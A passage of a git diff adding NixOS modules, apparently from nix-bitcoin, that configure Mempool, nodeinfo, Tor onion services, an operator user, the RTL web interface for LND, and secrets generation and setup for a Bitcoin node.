@@ -0,0 +1,348 @@
{ config, lib, pkgs, ... }:
with lib;
let
options.services = {
mempool = {
enable = mkOption {
type = types.bool;
default = false;
description = ''
Enable Mempool, a fully featured Bitcoin visualizer, explorer, and API service.
Note: Mempool enables `txindex` in bitcoind (this is a requirement).
This module has two components:
- A backend service (systemd service `mempool`)
- An optional web interface run by nginx, defined by options `services.mempool.frontend.*`.
The frontend is enabled by default when mempool is enabled.
For details, see `services.mempool.frontend.enable`.
'';
};
frontend = {
enable = mkOption {
type = types.bool;
default = cfg.enable;
description = ''
Enable the mempool frontend (web interface).
This starts a simple nginx instance, configured for local usage with
settings similar to the `mempool/frontend` Docker image.
IMPORTANT:
If you want to expose the mempool frontend to the internet, you
should create a custom nginx config that includes TLS, backend caching, rate limiting
and performance tuning.
For this task, reuse the config snippets from option `services.mempool.frontend.nginxConfig`.
See also: https://github.com/fort-nix/nixbitcoin.org/blob/master/website/mempool.nix,
which contains a mempool nginx config for public hosting (running at
https://mempool.nixbitcoin.org).
'';
};
address = mkOption {
type = types.str;
default = "127.0.0.1";
description = "HTTP server address.";
};
port = mkOption {
type = types.port;
default = 60845; # A random private port
description = "HTTP server port.";
};
settings = mkOption {
type = with types; attrsOf anything;
default = {};
example = {
TESTNET_ENABLED = true;
MEMPOOL_WEBSITE_URL = "mempool.mynode.org";
};
description = ''
Mempool frontend settings.
See here for available options:
https://github.com/mempool/mempool/blob/master/frontend/src/app/services/state.service.ts
(`interface Env` and `defaultEnv`)
'';
};
staticContentRoot = mkOption {
type = types.path;
default = (pkgs.callPackage ../../packages/mempool { fetchNodeModules = pkgs.callPackage ../../packages/build-support/fetch-node-modules.nix {}; }).mempool-frontend.withConfig cfg.frontend.settings;
defaultText = "mempoolPkgs.mempool-frontend";
description = "
Path of the static frontend content root.
";
};
nginxConfig = mkOption {
readOnly = true;
default = frontend.nginxConfig;
defaultText = "(See source)";
description = "
An attrset of nginx config snippets for assembling a custom
mempool nginx config.
For details, see the source comments at the point of definition.
";
};
};
address = mkOption {
type = types.str;
default = "127.0.0.1";
description = "Mempool backend address.";
};
port = mkOption {
type = types.port;
default = 8999;
description = "Mempool backend port.";
};
electrumServer = mkOption {
type = types.enum [ "electrs" ];
default = "electrs";
description = ''
The Electrum server to use for fetching address information.
Possible options:
- electrs:
Small database size, slow when querying new addresses.
'';
};
settings = mkOption {
type = with types; attrsOf (attrsOf anything);
example = {
MEMPOOL = {
POLL_RATE_MS = 3000;
STDOUT_LOG_MIN_PRIORITY = "debug";
};
PRICE_DATA_SERVER = {
CLEARNET_URL = "https://myserver.org/prices";
};
};
description = ''
Mempool backend settings.
See here for available options:
https://github.com/mempool/mempool/blob/master/backend/src/config.ts
'';
};
database = {
name = mkOption {
type = types.str;
default = "mempool";
description = "Database name.";
};
};
package = mkOption {
type = types.package;
default = (pkgs.callPackage ../../packages/mempool { fetchNodeModules = pkgs.callPackage ../../packages/build-support/fetch-node-modules.nix {}; }).mempool-backend;
defaultText = "mempoolPkgs.mempool-backend";
description = "The package providing mempool binaries.";
};
user = mkOption {
type = types.str;
default = "mempool";
description = "The user as which to run Mempool.";
};
group = mkOption {
type = types.str;
default = cfg.user;
description = "The group as which to run Mempool.";
};
tor = nbLib.tor;
};
# Internal read-only options used by `./nodeinfo.nix` and `./onion-services.nix`
mempool-frontend = let
inherit (nbLib) mkAlias;
in {
enable = mkAlias cfg.frontend.enable;
address = mkAlias cfg.frontend.address;
port = mkAlias cfg.frontend.port;
};
};
cfg = config.services.mempool;
nbLib = config.nix-bitcoin.lib;
nbPkgs = pkgs; # vendored: now alias to pkgs
secretsDir = config.nix-bitcoin.secretsDir;
configFile = builtins.toFile "mempool-config" (builtins.toJSON cfg.settings);
cacheDir = "/var/cache/mempool";
inherit (config.services)
bitcoind
electrs;
torSocket = config.services.tor.client.socksListenAddress;
# Vendored mempool package
fetchNodeModules = pkgs.callPackage ../../packages/build-support/fetch-node-modules.nix {};
mempoolPkgs = pkgs.callPackage ../../packages/mempool { inherit fetchNodeModules; };
# See the `services.nginx` definition further below
# on how to use these snippets.
frontend.nginxConfig = {
# This must be added to `services.nginx.commonHttpConfig` when
# `mempool/location-static.conf` is used
httpConfig = ''
include ${mempoolPkgs.mempool-nginx-conf}/http-language.conf;
'';
# Config for static website content.
# This should be added to `services.nginx.virtualHosts.<mempool server name>.extraConfig`.
# Adapted from mempool/nginx-mempool.conf and mempool/production/nginx/location-redirects.conf
staticContent = ''
index index.html;
add_header Cache-Control "public, no-transform";
add_header Vary Accept-Language;
add_header Vary Cookie;
include ${mempoolPkgs.mempool-nginx-conf}/location-static.conf;
# Redirect /api to /docs/api
location = /api {
return 308 https://$host/docs/api;
}
location = /api/ {
return 308 https://$host/docs/api;
}
'';
# Config for backend API.
# This should be added to `services.nginx.virtualHosts.<mempool server name>.extraConfig`.
# Adapted from mempool/nginx-mempool.conf and mempool/production/nginx/location-api.conf.
proxyApi = let
backend = "http://${nbLib.addressWithPort cfg.address cfg.port}";
in ''
location /api/ {
proxy_pass ${backend}/api/v1/;
}
location /api/v1 {
proxy_pass ${backend};
}
# Websocket API
location /api/v1/ws {
proxy_pass ${backend};
# Websocket header settings
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "Upgrade";
# Relevant settings from `recommendedProxyConfig` (nixos/nginx/default.nix)
# (In the above api locations, these are inherited from the parent scope)
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
'';
};
in {
inherit options;
config = mkIf cfg.enable {
services.bitcoind.txindex = true;
services.electrs.enable = true;
services.mysql = {
enable = true;
package = pkgs.mariadb;
ensureDatabases = [ cfg.database.name ];
ensureUsers = [
{
name = cfg.user;
ensurePermissions."${cfg.database.name}.*" = "ALL PRIVILEGES";
}
];
};
# Available options:
# https://github.com/mempool/mempool/blob/master/backend/src/config.ts
services.mempool.settings = {
MEMPOOL = {
# mempool doesn't support regtest
NETWORK = "mainnet";
BACKEND = "electrum";
HTTP_PORT = cfg.port;
CACHE_DIR = "${cacheDir}/cache";
STDOUT_LOG_MIN_PRIORITY = mkDefault "info";
AUTOMATIC_POOLS_UPDATE = true;
};
CORE_RPC = {
HOST = bitcoind.rpc.address;
PORT = bitcoind.rpc.port;
USERNAME = bitcoind.rpc.users.public.name;
PASSWORD = "@btcRpcPassword@";
};
ELECTRUM = let
server = config.services.${cfg.electrumServer};
in {
HOST = server.address;
PORT = server.port;
TLS_ENABLED = false;
};
DATABASE = {
ENABLED = true;
DATABASE = cfg.database.name;
SOCKET = "/run/mysqld/mysqld.sock";
PID_DIR = cacheDir;
};
} // optionalAttrs (cfg.tor.proxy) {
# Use Tor for rate fetching and pool updating
SOCKS5PROXY = {
ENABLED = true;
USE_ONION = true;
HOST = torSocket.addr;
PORT = torSocket.port;
};
};
systemd.services.mempool = rec {
wantedBy = [ "multi-user.target" ];
requires = [ "mysql.service" ];
wants = [ "${cfg.electrumServer}.service" ];
after = requires ++ wants;
preStart = ''
mkdir -p '${cacheDir}/cache'
<${configFile} sed \
-e "s|@btcRpcPassword@|$(cat ${secretsDir}/bitcoin-rpcpassword-public)|" \
> '${cacheDir}/config.json'
'';
environment.MEMPOOL_CONFIG_FILE = "${cacheDir}/config.json";
serviceConfig = nbLib.defaultHardening // {
ExecStart = "${cfg.package}/bin/mempool-backend";
CacheDirectory = "mempool";
CacheDirectoryMode = "770";
# Show "mempool" instead of "node" in the journal
SyslogIdentifier = "mempool";
User = cfg.user;
Restart = "on-failure";
RestartSec = "10s";
} // nbLib.allowedIPAddresses cfg.tor.enforce
// nbLib.nodejs;
};
services.nginx = mkIf cfg.frontend.enable {
enable = true;
enableReload = true;
recommendedBrotliSettings = true;
recommendedGzipSettings = true;
recommendedOptimisation = true;
recommendedProxySettings = true;
recommendedTlsSettings = true;
commonHttpConfig = frontend.nginxConfig.httpConfig;
virtualHosts."mempool" = {
serverName = "_";
listen = [ { addr = cfg.frontend.address; port = cfg.frontend.port; } ];
root = cfg.frontend.staticContentRoot;
extraConfig =
frontend.nginxConfig.staticContent +
frontend.nginxConfig.proxyApi;
};
};
users.users.${cfg.user} = {
isSystemUser = true;
group = cfg.group;
extraGroups = [ "bitcoinrpc-public" ];
};
users.groups.${cfg.group} = {};
};
}
+60
View File
@@ -0,0 +1,60 @@
{ config, pkgs, lib, ... }:
with lib;
{
options = {
nix-bitcoin = {
# Kept for compatibility, now simply aliases system pkgs
pkgs = mkOption {
type = types.attrs;
default = pkgs;
defaultText = "pkgs";
description = "Alias to system pkgs (vendored nix-bitcoin now uses nixpkgs directly).";
};
useVersionLockedPkgs = mkOption {
type = types.bool;
default = false;
description = "Deprecated vendored modules always use system pkgs.";
};
pkgOverlays = mkOption {
internal = true;
type = with types; functionTo attrs;
default = _: _: {};
description = "Deprecated stub.";
};
lib = mkOption {
readOnly = true;
default = import ./lib.nix lib pkgs config;
defaultText = "vendor/nix-bitcoin/lib.nix";
};
torClientAddressWithPort = mkOption {
readOnly = true;
default = with config.services.tor.client.socksListenAddress;
"${addr}:${toString port}";
defaultText = "(See source)";
};
torify = mkOption {
readOnly = true;
default = pkgs.writers.writeBashBin "torify" ''
${pkgs.tor}/bin/torify \
--address ${config.services.tor.client.socksListenAddress.addr} \
"$@"
'';
defaultText = "(See source)";
};
runAsUserCmd = mkOption {
readOnly = true;
default = if config.security.doas.enable
then "doas -u"
else "sudo -u";
defaultText = "(See source)";
};
};
};
}
+154
View File
@@ -0,0 +1,154 @@
{ config, lib, pkgs, ... }:
with lib;
let
options = {
nix-bitcoin.nodeinfo = {
enable = mkEnableOption "nodeinfo";
program = mkOption {
readOnly = true;
default = script;
defaultText = "(See source)";
};
services = mkOption {
internal = true;
type = types.attrs;
default = {};
defaultText = "(See source)";
description = ''
Nodeinfo service definitions.
'';
};
lib = mkOption {
internal = true;
readOnly = true;
default = nodeinfoLib;
defaultText = "(See source)";
description = ''
Helper functions for defining nodeinfo services.
'';
};
};
};
cfg = config.nix-bitcoin.nodeinfo;
nbLib = config.nix-bitcoin.lib;
script = pkgs.writeScriptBin "nodeinfo" ''
#!${pkgs.python3}/bin/python
import json
import subprocess
import sys
from collections import OrderedDict
def success(*args):
return subprocess.call(args, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) == 0
def is_active(unit):
return success("systemctl", "is-active", "--quiet", unit)
def is_enabled(unit):
return success("systemctl", "is-enabled", "--quiet", unit)
def cmd(*args):
return subprocess.run(args, stdout=subprocess.PIPE).stdout.decode('utf-8')
def shell(*args):
return cmd("bash", "-c", *args).strip()
infos = OrderedDict()
operator = "${config.nix-bitcoin.operator.name}"
def get_onion_address(name, port):
path = f"/var/lib/onion-addresses/{operator}/{name}"
try:
with open(path, "r") as f:
onion_address = f.read().strip()
except OSError:
print(f"error reading file {path}", file=sys.stderr)
return
return f"{onion_address}:{port}"
def add_service(service, make_info, systemd_service = None):
systemd_service = systemd_service or service
if not is_active(systemd_service):
infos[service] = f"'{systemd_service}.service' is not running"
else:
info = OrderedDict()
exec(make_info, globals(), locals())
infos[service] = info
if is_enabled("onion-addresses") and not is_active("onion-addresses"):
print("error: service 'onion-addresses' is not running")
exit(1)
${concatStrings infos}
print(json.dumps(infos, indent=2))
'';
infos = map (serviceName:
let serviceCfg = config.services.${serviceName};
in optionalString serviceCfg.enable (cfg.services.${serviceName} serviceName serviceCfg)
) (builtins.attrNames cfg.services);
nodeinfoLib = rec {
mkInfo = extraCode: name: cfg:
mkInfoLong {
inherit extraCode name cfg;
};
mkInfoLong = { extraCode ? "", name, cfg, systemdServiceName ? name }: ''
add_service("${name}", """
info["local_address"] = "${nbLib.addressWithPort cfg.address cfg.port}"
'' + mkIfOnionPort name (onionPort: ''
info["onion_address"] = get_onion_address("${name}", ${onionPort})
'') + extraCode + ''
""", "${systemdServiceName}")
'';
mkIfOnionPort = name: fn:
if onionServices ? ${name} then
fn (toString (builtins.elemAt onionServices.${name}.map 0).port)
else
"";
};
inherit (config.services.tor.relay) onionServices;
in {
inherit options;
config = mkIf cfg.enable {
environment.systemPackages = [ script ];
nix-bitcoin.operator.enable = true;
nix-bitcoin.nodeinfo.services = with nodeinfoLib; {
bitcoind = mkInfo "";
lnd = name: cfg: mkInfo (''
info["rest_address"] = "${nbLib.addressWithPort cfg.restAddress cfg.restPort}"
'' + mkIfOnionPort "lnd-rest" (onionPort: ''
info["onion_rest_address"] = get_onion_address("lnd-rest", ${onionPort})
'') + ''
info["nodeid"] = shell("lncli getinfo | jq -r '.identity_pubkey'")
'') name cfg;
electrs = mkInfo "";
btcpayserver = mkInfo "";
rtl = mkInfo "";
mempool = mkInfo "";
mempool-frontend = name: cfg: mkInfoLong {
inherit name cfg;
systemdServiceName = "nginx";
};
# Only add sshd when it has an onion service
sshd = name: cfg: mkIfOnionPort "sshd" (onionPort: ''
add_service("sshd", """info["onion_address"] = get_onion_address("sshd", ${onionPort})""")
'');
};
};
}
+106
View File
@@ -0,0 +1,106 @@
# This module enables unprivileged users to read onion addresses.
# By default, onion addresses in /var/lib/tor/onion are only readable by the
# tor user.
# The included service copies onion addresses to /var/lib/onion-addresses/<user>/
# and sets permissions according to option 'access'.
{ config, lib, ... }:
with lib;
let
options.nix-bitcoin.onionAddresses = {
access = mkOption {
type = with types; attrsOf (listOf str);
default = {};
description = ''
This option controls who is allowed to access onion addresses.
For example, the following allows user 'myuser' to access bitcoind
and clightning onion addresses:
```nix
{
"myuser" = [ "bitcoind" "clightning" ];
};
```
The onion hostnames can then be read from
{file}`/var/lib/onion-addresses/myuser`.
'';
};
services = mkOption {
type = with types; listOf str;
default = [];
description = ''
Services that can access their onion address via file
{file}`/var/lib/onion-addresses/<service>`
The file is readable only by the service user.
'';
};
dataDir = mkOption {
readOnly = true;
default = "/var/lib/onion-addresses";
};
};
cfg = config.nix-bitcoin.onionAddresses;
nbLib = config.nix-bitcoin.lib;
in {
inherit options;
config = mkIf (cfg.access != {} || cfg.services != []) {
systemd.services.onion-addresses = {
wantedBy = [ "tor.service" ];
bindsTo = [ "tor.service" ];
after = [ "tor.service" ];
serviceConfig = nbLib.defaultHardening // {
Type = "oneshot";
RemainAfterExit = true;
StateDirectory = "onion-addresses";
StateDirectoryMode = "771";
PrivateNetwork = true; # This service needs no network access
PrivateUsers = false;
CapabilityBoundingSet = "CAP_CHOWN CAP_FSETID CAP_SETFCAP CAP_DAC_OVERRIDE CAP_DAC_READ_SEARCH CAP_FOWNER CAP_IPC_OWNER";
};
script = ''
waitForFile() {
file=$1
for ((i=0; i<300; i++)); do
if [[ -e $file ]]; then
return;
fi
sleep 0.1
done
echo "Error: File $file did not appear after 30 sec."
exit 1
}
# Wait until tor is up
waitForFile /var/lib/tor/state
cd ${cfg.dataDir}
rm -rf ./*
${concatMapStrings
(user: ''
mkdir -p -m 0700 ${user}
chown ${user} ${user}
${concatMapStrings
(service: ''
onionFile='/var/lib/tor/onion/${service}/hostname'
waitForFile "$onionFile"
cp "$onionFile" '${user}/${service}'
chown '${user}' '${user}/${service}'
'')
cfg.access.${user}
}
'')
(builtins.attrNames cfg.access)
}
${concatMapStrings (service: ''
onionFile=/var/lib/tor/onion/${service}/hostname
waitForFile "$onionFile"
install -D -o ${config.systemd.services.${service}.serviceConfig.User} -m 400 "$onionFile" services/${service}
'') cfg.services}
'';
};
};
}
+119
View File
@@ -0,0 +1,119 @@
# This module creates onion-services for NixOS services.
# An onion service can be enabled for every service that defines
# options 'address', 'port' and optionally 'getPublicAddressCmd'.
#
# See it in use at ./presets/enable-tor.nix
{ config, lib, pkgs, ... }:
with lib;
let
options.nix-bitcoin.onionServices = mkOption {
default = {};
type = with types; attrsOf (submodule (
{ config, ... }: {
options = {
enable = mkOption {
type = types.bool;
default = config.public;
description = ''
Create an onion service for the given service.
The service must define options {option}`address` and {option}`onionPort` (or `port`).
'';
};
public = mkOption {
type = types.bool;
default = false;
description = ''
Make the onion address accessible to the service.
If enabled, the onion service is automatically enabled.
Only available for services that define option {option}`getPublicAddressCmd`.
'';
};
externalPort = mkOption {
type = types.nullOr types.port;
default = null;
description = "Override the external port of the onion service.";
};
};
}
));
};
cfg = config.nix-bitcoin.onionServices;
nbLib = config.nix-bitcoin.lib;
onionServices = builtins.attrNames cfg;
activeServices = builtins.filter (service:
config.services.${service}.enable && cfg.${service}.enable
) onionServices;
publicServices = builtins.filter (service: cfg.${service}.public) activeServices;
in {
inherit options;
config = mkMerge [
(mkIf (activeServices != []) {
# Define hidden services
services.tor = {
enable = true;
relay.onionServices = genAttrs activeServices (name:
let
service = config.services.${name};
inherit (cfg.${name}) externalPort;
in nbLib.mkOnionService {
port = if externalPort != null then externalPort else service.port;
target.port = service.onionPort or service.port;
target.addr = nbLib.address service.address;
}
);
};
nix-bitcoin.onionAddresses = {
# Enable public services to access their own onion addresses
services = publicServices;
# Allow the operator user to access onion addresses for all active services
access.${config.nix-bitcoin.operator.name} = mkIf config.nix-bitcoin.operator.enable activeServices;
};
systemd.services = let
onionAddresses = [ "onion-addresses.service" ];
in genAttrs publicServices (service: {
# TODO-EXTERNAL: Instead of `wants`, use a future systemd dependency type
# that propagates initial start failures but no restarts
wants = onionAddresses;
after = onionAddresses;
});
})
# Set getPublicAddressCmd for public services
{
services = let
# publicServices' doesn't depend on config.services.*.enable,
# so we can use it to define config.services without causing infinite recursion
publicServices' = builtins.filter (service:
let srv = cfg.${service};
in srv.public && srv.enable
) onionServices;
in genAttrs publicServices' (service: {
getPublicAddressCmd = "cat ${config.nix-bitcoin.onionAddresses.dataDir}/services/${service}";
});
}
# Set sensible defaults for some services
{
nix-bitcoin.onionServices = {
btcpayserver = {
externalPort = 80;
};
rtl = {
externalPort = 80;
};
mempool-frontend = {
externalPort = 80;
};
};
}
];
}
+58
View File
@@ -0,0 +1,58 @@
{ config, lib, pkgs, ... }:
with lib;
let
options.nix-bitcoin.operator = {
enable = mkOption {
type = types.bool;
default = false;
description = ''
Whether to define a user named `operator` for convenient interactive access
to nix-bitcoin features (like `bitcoin-cli`).
When using nix-bitcoin as part of a larger system config, it makes sense
to set your main system user as the operator, by setting option
`nix-bitcoin.operator.name = "MAIN_USER_NAME";`.
'';
};
name = mkOption {
type = types.str;
default = "operator";
description = "Name of the operator user.";
};
groups = mkOption {
type = with types; listOf str;
default = [];
description = "Extra groups of the operatur user.";
};
allowRunAsUsers = mkOption {
type = with types; listOf str;
default = [];
description = "Users as which the operator is allowed to run commands.";
};
};
cfg = config.nix-bitcoin.operator;
in {
inherit options;
config = mkIf cfg.enable {
users.users.${cfg.name} = {
isNormalUser = true;
extraGroups = [
"systemd-journal"
"proc" # Enable full /proc access and systemd-status
] ++ cfg.groups;
};
security = mkIf (cfg.allowRunAsUsers != []) {
# Use doas instead of sudo if enabled
doas.extraConfig = mkIf config.security.doas.enable ''
${lib.concatMapStrings (user: "permit nopass ${cfg.name} as ${user}\n") cfg.allowRunAsUsers}
'';
sudo.extraConfig = mkIf (!config.security.doas.enable) ''
${cfg.name} ALL=(${builtins.concatStringsSep "," cfg.allowRunAsUsers}) NOPASSWD: ALL
'';
};
};
}
+216
View File
@@ -0,0 +1,216 @@
{ config, lib, pkgs, ... }:
with lib;
let
options.services.rtl = {
enable = mkEnableOption "RTL, a web interface for LND";
address = mkOption {
type = types.str;
default = "127.0.0.1";
description = "Address to listen for HTTP connections.";
};
port = mkOption {
type = types.port;
default = 3000;
description = "Port to listen for HTTP connections.";
};
dataDir = mkOption {
type = types.path;
default = "/var/lib/rtl";
description = "The data directory for RTL.";
};
nightTheme = mkOption {
type = types.bool;
default = false;
description = "Enable night theme by default.";
};
extraCurrency = mkOption {
type = types.nullOr types.str;
default = null;
example = "USD";
description = ''
Additional currency for displaying amounts.
When set, Tor is disabled for the RTL service to allow currency rate fetching.
'';
};
nodes = {
lnd = {
enable = mkOption {
type = types.bool;
default = false;
description = "Enable LND node in RTL.";
};
loop = mkOption {
type = types.bool;
default = false;
description = "Enable Lightning Loop integration (requires loopd).";
};
};
clightning = {
enable = mkOption {
type = types.bool;
default = false;
description = "Enable Core Lightning node in RTL (not supported in Sovran).";
};
};
};
user = mkOption {
type = types.str;
default = "rtl";
description = "The user as which to run RTL.";
};
group = mkOption {
type = types.str;
default = cfg.user;
description = "The group as which to run RTL.";
};
tor = nbLib.tor;
};
cfg = config.services.rtl;
nbLib = config.nix-bitcoin.lib;
secretsDir = config.nix-bitcoin.secretsDir;
# Vendored RTL package
fetchNodeModules = pkgs.callPackage ../../packages/build-support/fetch-node-modules.nix {};
rtlPackage = pkgs.callPackage ../../packages/rtl { inherit fetchNodeModules; };
runePath = "${cfg.dataDir}/CLN-Rune.env";
rtlConfig = {
multiPass = "@multiPass@";
port = cfg.port;
host = cfg.address;
defaultNodeIndex = 1;
dbDirectoryPath = cfg.dataDir;
SSO = {
rtlSSO = 0;
rtlCookiePath = "";
logoutRedirectLink = "";
};
nodes = optional cfg.nodes.lnd.enable ({
index = 1;
lnNode = "lnd";
lnImplementation = "LND";
authentication = {
macaroonPath = "${cfg.dataDir}/macaroons";
swapMacaroonPath = if cfg.nodes.lnd.loop then "${cfg.dataDir}/loop-macaroons" else "";
boltzMacaroonPath = "";
};
settings = {
userPersona = "OPERATOR";
themeMode = if cfg.nightTheme then "NIGHT" else "DAY";
themeColor = "PURPLE";
channelBackupPath = "${cfg.dataDir}/backup";
logLevel = "INFO";
lnServerUrl = "https://${lnd.restAddress}:${toString lnd.restPort}";
swapServerUrl = if cfg.nodes.lnd.loop then "https://127.0.0.1:8081" else "";
boltzServerUrl = "";
fiatConversion = cfg.extraCurrency != null;
unannouncedChannels = true;
} // optionalAttrs (cfg.extraCurrency != null) {
currencyUnit = cfg.extraCurrency;
};
}) ++ optional cfg.nodes.clightning.enable {
index = 2;
lnNode = "clightning";
lnImplementation = "CLN";
authentication = {
runePath = runePath;
};
settings = {
userPersona = "OPERATOR";
themeMode = if cfg.nightTheme then "NIGHT" else "DAY";
themeColor = "PURPLE";
logLevel = "INFO";
fiatConversion = cfg.extraCurrency != null;
} // optionalAttrs (cfg.extraCurrency != null) {
currencyUnit = cfg.extraCurrency;
};
};
};
configFile = builtins.toFile "config" (builtins.toJSON rtlConfig);
inherit (config.services)
bitcoind
lnd;
lndLoopEnabled = cfg.nodes.lnd.enable && cfg.nodes.lnd.loop;
in {
inherit options;
config = mkIf cfg.enable {
assertions = [
{ assertion = cfg.nodes.lnd.enable;
message = ''
RTL: At least one node must be enabled. Sovran supports LND only.
'';
}
{ assertion = !cfg.nodes.clightning.enable;
message = ''
RTL: Core Lightning (clightning) is not supported in Sovran. Use LND instead.
'';
}
];
services.lnd.enable = mkIf cfg.nodes.lnd.enable true;
systemd.tmpfiles.rules = [
"d '${cfg.dataDir}' 0770 ${cfg.user} ${cfg.group} - -"
];
services.rtl.tor.enforce = mkIf (cfg.extraCurrency != null) false;
systemd.services.rtl = rec {
wantedBy = [ "multi-user.target" ];
wants = optional cfg.nodes.lnd.enable "lnd.service";
after = wants ++ [ "nix-bitcoin-secrets.target" ];
environment.RTL_CONFIG_PATH = cfg.dataDir;
environment.DB_DIRECTORY_PATH = cfg.dataDir;
serviceConfig = nbLib.defaultHardening // {
ExecStartPre = [
(nbLib.script "rtl-setup-config" ''
<${configFile} sed "s|@multiPass@|$(cat ${secretsDir}/rtl-password)|" \
> '${cfg.dataDir}/RTL-Config.json'
'')
]
++ optional cfg.nodes.lnd.enable
# The lnd admin macaroon is not readable by group `lnd`, so copy it
(nbLib.rootScript "rtl-copy-macaroon" ''
install --compare -m 640 -o ${cfg.user} -g ${cfg.group} -D ${lnd.networkDir}/admin.macaroon \
'${cfg.dataDir}/macaroons/admin.macaroon'
'');
ExecStart = "${rtlPackage}/bin/rtl";
# Show "rtl" instead of "node" in the journal
SyslogIdentifier = "rtl";
User = cfg.user;
Restart = "on-failure";
RestartSec = "10s";
ReadWritePaths = [ cfg.dataDir ];
} // nbLib.allowedIPAddresses cfg.tor.enforce
// nbLib.nodejs;
};
users.users.${cfg.user} = {
isSystemUser = true;
group = cfg.group;
extraGroups = optional lndLoopEnabled lnd.group;
};
users.groups.${cfg.group} = {};
nix-bitcoin.secrets.rtl-password.user = cfg.user;
nix-bitcoin.generateSecretsCmds.rtl = ''
makePasswordSecret rtl-password
'';
};
}
+235
View File
@@ -0,0 +1,235 @@
{ config, pkgs, lib, ... }:
with lib;
let
options.nix-bitcoin = {
secretsDir = mkOption {
type = types.path;
default = "/etc/nix-bitcoin-secrets";
description = "Directory to store secrets";
};
setupSecrets = mkOption {
type = types.bool;
default = false;
description = ''
Set permissions for existing secrets in {option}`nix-bitcoin.secretsDir`
before services are started.
'';
};
generateSecrets = mkOption {
type = types.bool;
default = false;
description = ''
Automatically generate all required secrets before services are started.
Note: Make sure to create a backup of the generated secrets.
'';
};
generateSecretsCmds = mkOption {
type = types.attrsOf types.lines;
default = {};
description = ''
Bash expressions for generating secrets.
'';
};
# Currently, this is used only by ../deployment/nixops.nix
deployment.secretsDir = mkOption {
type = types.path;
description = ''
Directory of local secrets that are transferred to the nix-bitcoin node on deployment
'';
};
secrets = mkOption {
default = {};
type = with types; attrsOf (submodule (
{ config, ... }: {
options = {
user = mkOption {
type = str;
default = "root";
};
group = mkOption {
type = str;
default = config.user;
};
permissions = mkOption {
type = str;
default = "440";
};
};
}
));
};
secretsSetupMethod = mkOption {
type = with types; nullOr str;
default = null;
};
generateSecretsScript = mkOption {
internal = true;
default = let
rpcauthSrc = pkgs.fetchurl {
url = "https://raw.githubusercontent.com/bitcoin/bitcoin/d6cde007db9d3e6ee93bd98a9bbfdce9bfa9b15b/share/rpcauth/rpcauth.py";
sha256 = "189mpplam6yzizssrgiyv70c9899ggh8cac76j4n7v0xqzfip07n";
};
rpcauth = pkgs.writers.writeBash "rpcauth" ''
exec ${pkgs.python3}/bin/python ${rpcauthSrc} "$@"
'';
# Writes secrets to PWD
in pkgs.writers.writeBash "generate-secrets" ''
set -euo pipefail
export PATH=${lib.makeBinPath (with pkgs; [ coreutils gnugrep ])}
makePasswordSecret() {
# Passwords have alphabet {a-z, A-Z, 0-9} and ~119 bits of entropy
[[ -e $1 ]] || ${pkgs.pwgen}/bin/pwgen -s 20 1 > "$1"
}
makeBitcoinRPCPassword() {
user=$1
file=bitcoin-rpcpassword-$user
HMACfile=bitcoin-HMAC-$user
makePasswordSecret "$file"
if [[ $file -nt $HMACfile ]]; then
${rpcauth} $user $(cat "$file") | grep rpcauth | cut -d ':' -f 2 > "$HMACfile"
fi
}
makeCert() {
name=$1
# Add leading comma if not empty
extraAltNames=''${2:+,}''${2:-}
if [[ ! -e $name-key ]]; then
# Create new key and cert
doMakeCert "-newkey ec -pkeyopt ec_paramgen_curve:prime256v1 -nodes -keyout $name-key"
elif [[ ! -e $name-cert \
|| $(cat "$name-cert-alt-names" 2>/dev/null) != $extraAltNames ]]; then
# Create cert from existing key
doMakeCert "-key $name-key"
fi;
}
doMakeCert() {
# This fn uses global variables `name` and `extraAltNames`
keyOpts=$1
${pkgs.openssl}/bin/openssl req -x509 \
-sha256 -days 3650 $keyOpts -out "$name-cert" \
-subj "/CN=localhost/O=$name" \
-addext "subjectAltName=DNS:localhost,IP:127.0.0.1$extraAltNames"
echo "$extraAltNames" > "$name-cert-alt-names"
}
umask u=rw,go=
${builtins.concatStringsSep "\n" (builtins.attrValues cfg.generateSecretsCmds)}
'';
};
};
cfg = config.nix-bitcoin;
in {
inherit options;
config = {
assertions = [
{ assertion = cfg.secretsSetupMethod != null;
message = ''
No secrets setup method has been defined.
To fix this, choose one of the following:
- Use one of the deployment methods in ${toString ./../deployment}
- Set `nix-bitcoin.generateSecrets = true` to automatically generate secrets
- Set `nix-bitcoin.secretsSetupMethod = "manual"` if you want to manually setup secrets
'';
}
];
# This target is active when secrets have been setup successfully.
systemd.targets.nix-bitcoin-secrets = mkIf (cfg.secretsSetupMethod != "manual") {
# This ensures that the secrets target is always activated when switching
# configurations.
# In this way `switch-to-configuration` is guaranteed to show an error
# when activating the secrets target fails on deployment.
wantedBy = [ "multi-user.target" ];
};
nix-bitcoin.setupSecrets = mkIf cfg.generateSecrets true;
nix-bitcoin.secretsSetupMethod = mkIf cfg.setupSecrets "setup-secrets";
# Operation of this service:
# - Set owner and permissions for all used secrets
# - Make all other secrets accessible to root only
# For all steps make sure that no secrets are copied to the nix store.
#
systemd.services.setup-secrets = mkIf cfg.setupSecrets {
requiredBy = [ "nix-bitcoin-secrets.target" ];
before = [ "nix-bitcoin-secrets.target" ];
serviceConfig = {
Type = "oneshot";
RemainAfterExit = true;
};
script = ''
# Use the same sort order for globbing and sorting as in Nix attrsets.
# Required for `comm` below.
export LC_COLLATE=C
${optionalString cfg.generateSecrets ''
mkdir -p "${cfg.secretsDir}"
cd "${cfg.secretsDir}"
chown root: .
chmod 0700 .
${cfg.generateSecretsScript}
''}
setupSecret() {
file="$1"
user="$2"
group="$3"
permissions="$4"
if [[ ! -e $file ]]; then
echo "Error: Secret file '$file' is missing"
exit 1
fi
chown "$user:$group" "$file"
chmod "$permissions" "$file"
processedFiles+=("$file")
}
dir="${cfg.secretsDir}"
if [[ ! -e $dir ]]; then
echo "Error: Secrets dir '$dir' is missing"
exit 1
fi
chown root: "$dir"
cd "$dir"
processedFiles=()
${
concatStrings (mapAttrsToList (n: v: ''
setupSecret ${n} ${v.user} ${v.group} ${v.permissions}
'') cfg.secrets)
}
# Make all other files accessible to root only
unprocessedFiles=$(
comm -23 <(shopt -s nullglob; printf '%s\n' *) <(printf '%s\n' "''${processedFiles[@]}")
)
if [[ $unprocessedFiles ]]; then
IFS=$'\n'
# shellcheck disable=SC2086
